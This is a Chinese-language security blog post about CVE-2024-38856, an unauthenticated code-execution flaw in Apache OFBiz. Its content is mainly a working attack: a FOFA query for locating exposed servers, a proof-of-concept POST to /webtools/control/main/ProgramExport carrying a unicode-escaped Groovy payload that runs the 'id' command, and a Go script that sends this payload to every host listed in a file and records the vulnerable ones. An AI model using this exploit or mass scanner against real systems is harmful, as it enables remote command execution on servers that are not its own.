Rce!Apache OFBiz代码执行(CVE-2024-38856)

Rce!Apache OFBiz代码执行(CVE-2024-38856)

原创 琴音安全 琴音安全 2024-08-11 16:45

0x01 免责声明

琴音安全(本公众号)的技术文章仅供参考,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。信息及工具收集于互联网,真实性及安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02 漏洞简介

Apache_OFBiz是一款美国阿帕奇(Apache)基金会下的一套(ERP)系统。该系统可以提供一整套基于Java的Web应用程序组件及工具。Apache_ OFBiz的18.12.14及之前版本均存在安全漏洞,该漏洞源于存在授权错误导致的漏洞,从而导致未经身份验证的端点可执行屏幕渲染代码。

0x03 资产发现

FOFA

app=”Apache_OFBiz”

0x04 漏洞复现

Poc

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 260

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

自动化利用脚本

package main

import (
  "bufio"
  "crypto/tls"
  "fmt"
  "github.com/imroc/req/v3"
  "os"
  "strings"
  "sync"
)

var (
  Payload = "groovyProgram=\\u0074\\u0068\\u0072\\u006f\\u0077\\u0020\\u006e\\u0065\\u0077\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0028\\u0027\\u0069\\u0064\\u0027\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029\\u002e\\u0074\\u0065\\u0078\\u0074\\u0029\\u003b"
  wg      sync.WaitGroup
)

func main() {
  file, err := os.Open("ip.txt")
  if err != nil {
    fmt.Println("打开文件失败:", err)
    return
  }
  defer file.Close()

  outFile, err := os.OpenFile("suss.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
  if err != nil {
    fmt.Println("打开文件失败:", err)
    return
  }
  defer outFile.Close()

  scanner := bufio.NewScanner(file)

  for scanner.Scan() {
    wg.Add(1)
    go func(ip string) {
      defer wg.Done()
      urls := []string{ip}
      if !strings.HasPrefix(ip, "http://") && !strings.HasPrefix(ip, "https://") {
        urls = []string{"https://" + ip, "http://" + ip}
      }
      for _, url := range urls {
        client := req.C().SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})
        resp, err := client.SetCommonHeaders(map[string]string{
          "User-Agent":      "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36",
          "Accept":          "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Content-Type":    "application/x-www-form-urlencoded",
        }).R().SetBody(Payload).Post(url + "/webtools/control/main/ProgramExport")

        if err != nil {
          fmt.Println("请求失败:", err)
          continue
        }
        if resp.IsSuccessState() && strings.Contains(resp.String(), "java.lang.Exception") {
          _, err = outFile.WriteString(url + "\n")
          if err != nil {
            fmt.Println("写入文件失败:", err)
          }
          break
        }
      }
    }(scanner.Text())
  }
  wg.Wait()

  if err := scanner.Err(); err != nil {
    fmt.Println("读取文件失败:", err)
  }
}

加上需要扫描的目标文件,以及输出的文件即可。

0x05 文末

公众号后台回复交流群,获取进群链接。